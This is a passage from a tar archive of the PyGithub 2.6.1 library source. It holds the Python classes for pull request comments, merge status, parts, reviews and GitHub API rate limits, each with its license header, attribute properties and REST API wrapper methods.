attributes["base"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "changed_files" in attributes: # pragma no branch self._changed_files = self._makeIntAttribute(attributes["changed_files"]) if "closed_at" in attributes: # pragma no branch self._closed_at = self._makeDatetimeAttribute(attributes["closed_at"]) if "comments" in attributes: # pragma no branch self._comments = self._makeIntAttribute(attributes["comments"]) if "comments_url" in attributes: # pragma no branch self._comments_url = self._makeStringAttribute(attributes["comments_url"]) if "commits" in attributes: # pragma no branch self._commits = self._makeIntAttribute(attributes["commits"]) if "commits_url" in attributes: # pragma no branch self._commits_url = self._makeStringAttribute(attributes["commits_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "deletions" in attributes: # pragma no branch self._deletions = self._makeIntAttribute(attributes["deletions"]) if "diff_url" in attributes: # pragma no branch self._diff_url = self._makeStringAttribute(attributes["diff_url"]) if "draft" in attributes: # pragma no branch self._draft = self._makeBoolAttribute(attributes["draft"]) if "head" in attributes: # pragma no branch self._head = self._makeClassAttribute(github.PullRequestPart.PullRequestPart, attributes["head"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "issue_url" in attributes: # pragma no branch self._issue_url = self._makeStringAttribute(attributes["issue_url"]) if "labels" in attributes: # pragma no branch self._labels = self._makeListOfClassesAttribute(github.Label.Label, attributes["labels"]) if "locked" in attributes: # pragma no branch self._locked = self._makeBoolAttribute(attributes["locked"]) if "maintainer_can_modify" in attributes: # pragma no branch self._maintainer_can_modify = self._makeBoolAttribute(attributes["maintainer_can_modify"]) if "merge_commit_sha" in attributes: # pragma no branch self._merge_commit_sha = self._makeStringAttribute(attributes["merge_commit_sha"]) if "mergeable" in attributes: # pragma no branch self._mergeable = self._makeBoolAttribute(attributes["mergeable"]) if "mergeable_state" in attributes: # pragma no branch self._mergeable_state = self._makeStringAttribute(attributes["mergeable_state"]) if "merged" in attributes: # pragma no branch self._merged = self._makeBoolAttribute(attributes["merged"]) if "merged_at" in attributes: # pragma no branch self._merged_at = self._makeDatetimeAttribute(attributes["merged_at"]) if "merged_by" in attributes: # pragma no branch self._merged_by = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["merged_by"]) if "milestone" in attributes: # pragma no branch self._milestone = self._makeClassAttribute(github.Milestone.Milestone, attributes["milestone"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "patch_url" in attributes: # pragma no branch self._patch_url = self._makeStringAttribute(attributes["patch_url"]) if "rebaseable" in attributes: # pragma no branch self._rebaseable = self._makeBoolAttribute(attributes["rebaseable"]) if "requested_reviewers" in attributes: self._requested_reviewers = self._makeListOfClassesAttribute( github.NamedUser.NamedUser, attributes["requested_reviewers"] ) if "requested_teams" in attributes: self._requested_teams = self._makeListOfClassesAttribute(github.Team.Team, attributes["requested_teams"]) if "review_comment_url" in attributes: # pragma no branch self._review_comment_url = self._makeStringAttribute(attributes["review_comment_url"]) if "review_comments" in attributes: # pragma no branch self._review_comments = self._makeIntAttribute(attributes["review_comments"]) if "review_comments_url" in attributes: # pragma no branch self._review_comments_url = self._makeStringAttribute(attributes["review_comments_url"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "statuses_url" in attributes: # pragma no branch self._statuses_url = self._makeStringAttribute(attributes["statuses_url"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/PullRequestComment.py0000644000175100001660000004135514756101563020442 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Michael Stead # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 Jess Morgan <979404+JessMorgan@users.noreply.github.com> # # Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Den Stroebel # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser import github.Reaction from github import Consts from github.GithubObject import Attribute, CompletableGithubObject, NotSet from github.PaginatedList import PaginatedList class PullRequestComment(CompletableGithubObject): """ This class represents PullRequestComments. The reference can be found here https://docs.github.com/en/rest/reference/pulls#review-comments The OpenAPI schema can be found at - /components/schemas/pull-request-review-comment """ def _initAttributes(self) -> None: self.__links: Attribute[dict[str, Any]] = NotSet self._author_association: Attribute[str] = NotSet self._body: Attribute[str] = NotSet self._body_html: Attribute[str] = NotSet self._body_text: Attribute[str] = NotSet self._commit_id: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._diff_hunk: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._in_reply_to_id: Attribute[int] = NotSet self._line: Attribute[int] = NotSet self._node_id: Attribute[str] = NotSet self._original_commit_id: Attribute[str] = NotSet self._original_line: Attribute[int] = NotSet self._original_position: Attribute[int] = NotSet self._original_start_line: Attribute[int] = NotSet self._path: Attribute[str] = NotSet self._position: Attribute[int] = NotSet self._pull_request_review_id: Attribute[int] = NotSet self._pull_request_url: Attribute[str] = NotSet self._reactions: Attribute[dict[str, Any]] = NotSet self._side: Attribute[str] = NotSet self._start_line: Attribute[int] = NotSet self._start_side: Attribute[str] = NotSet self._subject_type: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._user: Attribute[github.NamedUser.NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property def _links(self) -> dict[str, Any]: self._completeIfNotSet(self.__links) return self.__links.value @property def author_association(self) -> str: self._completeIfNotSet(self._author_association) return self._author_association.value @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def body_html(self) -> str: self._completeIfNotSet(self._body_html) return self._body_html.value @property def body_text(self) -> str: self._completeIfNotSet(self._body_text) return self._body_text.value @property def commit_id(self) -> str: self._completeIfNotSet(self._commit_id) return self._commit_id.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def diff_hunk(self) -> str: self._completeIfNotSet(self._diff_hunk) return self._diff_hunk.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def in_reply_to_id(self) -> int: self._completeIfNotSet(self._in_reply_to_id) return self._in_reply_to_id.value @property def line(self) -> int: self._completeIfNotSet(self._line) return self._line.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def original_commit_id(self) -> str: self._completeIfNotSet(self._original_commit_id) return self._original_commit_id.value @property def original_line(self) -> int: self._completeIfNotSet(self._original_line) return self._original_line.value @property def original_position(self) -> int: self._completeIfNotSet(self._original_position) return self._original_position.value @property def original_start_line(self) -> int: self._completeIfNotSet(self._original_start_line) return self._original_start_line.value @property def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property def position(self) -> int: self._completeIfNotSet(self._position) return self._position.value @property def pull_request_review_id(self) -> int: self._completeIfNotSet(self._pull_request_review_id) return self._pull_request_review_id.value @property def pull_request_url(self) -> str: self._completeIfNotSet(self._pull_request_url) return self._pull_request_url.value @property def reactions(self) -> dict[str, Any]: self._completeIfNotSet(self._reactions) return self._reactions.value @property def side(self) -> str: self._completeIfNotSet(self._side) return self._side.value @property def start_line(self) -> int: self._completeIfNotSet(self._start_line) return self._start_line.value @property def start_side(self) -> str: self._completeIfNotSet(self._start_side) return self._start_side.value @property def subject_type(self) -> str: self._completeIfNotSet(self._subject_type) return self._subject_type.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/pulls/comments/{number} `_ :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit(self, body: str) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/pulls/comments/{number} `_ :param body: string :rtype: None """ assert isinstance(body, str), body post_parameters = { "body": body, } headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def get_reactions(self) -> PaginatedList[github.Reaction.Reaction]: """ :calls: `GET /repos/{owner}/{repo}/pulls/comments/{number}/reactions `_ :return: :class: :class:`github.PaginatedList.PaginatedList` of :class:`github.Reaction.Reaction` """ return PaginatedList( github.Reaction.Reaction, self._requester, f"{self.url}/reactions", None, headers={"Accept": Consts.mediaTypeReactionsPreview}, ) def create_reaction(self, reaction_type: str) -> github.Reaction.Reaction: """ :calls: `POST /repos/{owner}/{repo}/pulls/comments/{number}/reactions `_ :param reaction_type: string :rtype: :class:`github.Reaction.Reaction` """ assert isinstance(reaction_type, str), reaction_type post_parameters = { "content": reaction_type, } headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/reactions", input=post_parameters, headers={"Accept": Consts.mediaTypeReactionsPreview}, ) return github.Reaction.Reaction(self._requester, headers, data, completed=True) def delete_reaction(self, reaction_id: int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions/{reaction_id} `_ :param reaction_id: integer :rtype: bool """ assert isinstance(reaction_id, int), reaction_id status, _, _ = self._requester.requestJson( "DELETE", f"{self.url}/reactions/{reaction_id}", headers={"Accept": Consts.mediaTypeReactionsPreview}, ) return status == 204 def _useAttributes(self, attributes: dict[str, Any]) -> None: if "_links" in attributes: # pragma no branch self.__links = self._makeDictAttribute(attributes["_links"]) if "author_association" in attributes: # pragma no branch self._author_association = self._makeStringAttribute(attributes["author_association"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "body_html" in attributes: # pragma no branch self._body_html = self._makeStringAttribute(attributes["body_html"]) if "body_text" in attributes: # pragma no branch self._body_text = self._makeStringAttribute(attributes["body_text"]) if "commit_id" in attributes: # pragma no branch self._commit_id = self._makeStringAttribute(attributes["commit_id"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "diff_hunk" in attributes: # pragma no branch self._diff_hunk = self._makeStringAttribute(attributes["diff_hunk"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "in_reply_to_id" in attributes: # pragma no branch self._in_reply_to_id = self._makeIntAttribute(attributes["in_reply_to_id"]) if "line" in attributes: # pragma no branch self._line = self._makeIntAttribute(attributes["line"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "original_commit_id" in attributes: # pragma no branch self._original_commit_id = self._makeStringAttribute(attributes["original_commit_id"]) if "original_line" in attributes: # pragma no branch self._original_line = self._makeIntAttribute(attributes["original_line"]) if "original_position" in attributes: # pragma no branch self._original_position = self._makeIntAttribute(attributes["original_position"]) if "original_start_line" in attributes: # pragma no branch self._original_start_line = self._makeIntAttribute(attributes["original_start_line"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "position" in attributes: # pragma no branch self._position = self._makeIntAttribute(attributes["position"]) if "pull_request_review_id" in attributes: # pragma no branch self._pull_request_review_id = self._makeIntAttribute(attributes["pull_request_review_id"]) if "pull_request_url" in attributes: # pragma no branch self._pull_request_url = self._makeStringAttribute(attributes["pull_request_url"]) if "reactions" in attributes: # pragma no branch self._reactions = self._makeDictAttribute(attributes["reactions"]) if "side" in attributes: # pragma no branch self._side = self._makeStringAttribute(attributes["side"]) if "start_line" in attributes: # pragma no branch self._start_line = self._makeIntAttribute(attributes["start_line"]) if "start_side" in attributes: # pragma no branch self._start_side = self._makeStringAttribute(attributes["start_side"]) if "subject_type" in attributes: # pragma no branch self._subject_type = self._makeStringAttribute(attributes["subject_type"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/PullRequestMergeStatus.py0000644000175100001660000001062714756101563021301 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class PullRequestMergeStatus(NonCompletableGithubObject): """ This class represents PullRequestMergeStatuses. The reference can be found here https://docs.github.com/en/rest/reference/pulls#check-if-a-pull-request-has-been-merged """ def _initAttributes(self) -> None: self._merged: Attribute[bool] = NotSet self._message: Attribute[str] = NotSet self._sha: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value, "merged": self._merged.value}) @property def merged(self) -> bool: return self._merged.value @property def message(self) -> str: return self._message.value @property def sha(self) -> str: return self._sha.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "merged" in attributes: # pragma no branch self._merged = self._makeBoolAttribute(attributes["merged"]) if "message" in attributes: # pragma no branch self._message = self._makeStringAttribute(attributes["message"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/PullRequestPart.py0000644000175100001660000001241114756101563017735 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.NamedUser import github.Repository from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.NamedUser import NamedUser from github.Repository import Repository class PullRequestPart(NonCompletableGithubObject): """ This class represents PullRequestParts. The OpenAPI schema can be found at - /components/schemas/pull-request-minimal/properties/base - /components/schemas/pull-request-minimal/properties/head - /components/schemas/pull-request-simple/properties/base - /components/schemas/pull-request-simple/properties/head - /components/schemas/pull-request/properties/base - /components/schemas/pull-request/properties/head """ def _initAttributes(self) -> None: self._label: Attribute[str] = NotSet self._ref: Attribute[str] = NotSet self._repo: Attribute[Repository] = NotSet self._sha: Attribute[str] = NotSet self._user: Attribute[NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property def label(self) -> str: return self._label.value @property def ref(self) -> str: return self._ref.value @property def repo(self) -> Repository: return self._repo.value @property def sha(self) -> str: return self._sha.value @property def user(self) -> NamedUser: return self._user.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "label" in attributes: # pragma no branch self._label = self._makeStringAttribute(attributes["label"]) if "ref" in attributes: # pragma no branch self._ref = self._makeStringAttribute(attributes["ref"]) if "repo" in attributes: # pragma no branch self._repo = self._makeClassAttribute(github.Repository.Repository, attributes["repo"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/PullRequestReview.py0000644000175100001660000001712614756101563020300 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Aaron Levine # # Copyright 2017 Mike Miller # # Copyright 2018 Darragh Bailey # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Claire Johns <42869556+johnsc1@users.noreply.github.com> # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Gael Colas # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class PullRequestReview(NonCompletableGithubObject): """ This class represents PullRequestReviews. The reference can be found here https://docs.github.com/en/rest/reference/pulls#reviews """ def _initAttributes(self) -> None: self._body: Attribute[str] = NotSet self._commit_id: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._pull_request_url: Attribute[str] = NotSet self._state: Attribute[str] = NotSet self._submitted_at: Attribute[datetime] = NotSet self._user: Attribute[github.NamedUser.NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property def body(self) -> str: return self._body.value @property def commit_id(self) -> str: return self._commit_id.value @property def html_url(self) -> str: return self._html_url.value @property def id(self) -> int: return self._id.value @property def pull_request_url(self) -> str: return self._pull_request_url.value @property def state(self) -> str: return self._state.value @property def submitted_at(self) -> datetime: return self._submitted_at.value @property def user(self) -> github.NamedUser.NamedUser: return self._user.value def dismiss(self, message: str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/pulls/{number}/reviews/{review_id}/dismissals `_ """ post_parameters = {"message": message} headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.pull_request_url}/reviews/{self.id}/dismissals", input=post_parameters, ) self._useAttributes(data) def delete(self) -> None: """ :calls: `DELETE /repos/:owner/:repo/pulls/:number/reviews/:review_id `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.pull_request_url}/reviews/{self.id}") def edit(self, body: str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/pulls/{number}/reviews/{review_id} `_ """ assert isinstance(body, str), body post_parameters = { "body": body, } headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.pull_request_url}/reviews/{self.id}", input=post_parameters, ) self._useAttributes(data) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "commit_id" in attributes: # pragma no branch self._commit_id = self._makeStringAttribute(attributes["commit_id"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "pull_request_url" in attributes: # pragma no branch self._pull_request_url = self._makeStringAttribute(attributes["pull_request_url"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "submitted_at" in attributes: # pragma no branch self._submitted_at = self._makeDatetimeAttribute(attributes["submitted_at"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Rate.py0000644000175100001660000001161614756101563015522 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Nikolay Yurin # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class Rate(NonCompletableGithubObject): """ This class represents Rates. The reference can be found here https://docs.github.com/en/rest/reference/rate-limit The OpenAPI schema can be found at - /components/schemas/rate-limit """ def _initAttributes(self) -> None: self._limit: Attribute[int] = NotSet self._remaining: Attribute[int] = NotSet self._reset: Attribute[datetime] = NotSet self._used: Attribute[int] = NotSet def __repr__(self) -> str: return self.get__repr__( { "limit": self._limit.value, "remaining": self._remaining.value, "reset": self._reset.value, } ) @property def limit(self) -> int: return self._limit.value @property def remaining(self) -> int: return self._remaining.value @property def reset(self) -> datetime: return self._reset.value @property def used(self) -> int: return self._used.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "limit" in attributes: # pragma no branch self._limit = self._makeIntAttribute(attributes["limit"]) if "remaining" in attributes: # pragma no branch self._remaining = self._makeIntAttribute(attributes["remaining"]) if "reset" in attributes: # pragma no branch self._reset = self._makeTimestampAttribute(attributes["reset"]) if "used" in attributes: # pragma no branch self._used = self._makeIntAttribute(attributes["used"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/RateLimit.py0000644000175100001660000001727714756101563016532 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Bill Napier # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.Rate from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.Rate import Rate class RateLimit(NonCompletableGithubObject): """ This class represents RateLimits. The reference can be found here https://docs.github.com/en/rest/reference/rate-limit The OpenAPI schema can be found at - /components/schemas/rate-limit-overview/properties/resources """ def _initAttributes(self) -> None: self._actions_runner_registration: Attribute[Rate] = NotSet self._code_scanning_upload: Attribute[Rate] = NotSet self._code_search: Attribute[Rate] = NotSet self._core: Attribute[Rate] = NotSet self._dependency_snapshots: Attribute[Rate] = NotSet self._graphql: Attribute[Rate] = NotSet self._integration_manifest: Attribute[Rate] = NotSet self._scim: Attribute[Rate] = NotSet self._search: Attribute[Rate] = NotSet self._source_import: Attribute[Rate] = NotSet def __repr__(self) -> str: return self.get__repr__({"core": self._core.value}) @property def actions_runner_registration(self) -> Rate: """ Rate limit for registering self-hosted runners in GitHub Actions. """ return self._actions_runner_registration.value @property def code_scanning_upload(self) -> Rate: """ Rate limit for uploading SARIF results to code scanning. """ return self._code_scanning_upload.value @property def code_search(self) -> Rate: """ Rate limit for the REST API for searching code. """ return self._code_search.value @property def core(self) -> Rate: """ Rate limit for the non-search-related API. """ return self._core.value @property def dependency_snapshots(self) -> Rate: """ Rate limit for submitting snapshots to the dependency graph. """ return self._dependency_snapshots.value @property def graphql(self) -> Rate: """ (Experimental) Rate limit for GraphQL API, use with caution. """ return self._graphql.value @property def integration_manifest(self) -> Rate: """ Rate limit for POST /app-manifests/{code}/conversions operation. """ return self._integration_manifest.value @property def scim(self) -> github.Rate.Rate: return self._scim.value @property def search(self) -> Rate: """ Rate limit for the Search API. """ return self._search.value @property def source_import(self) -> github.Rate.Rate: return self._source_import.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "actions_runner_registration" in attributes: # pragma no branch self._actions_runner_registration = self._makeClassAttribute( github.Rate.Rate, attributes["actions_runner_registration"] ) if "code_scanning_upload" in attributes: # pragma no branch self._code_scanning_upload = self._makeClassAttribute(github.Rate.Rate, attributes["code_scanning_upload"]) if "code_search" in attributes: 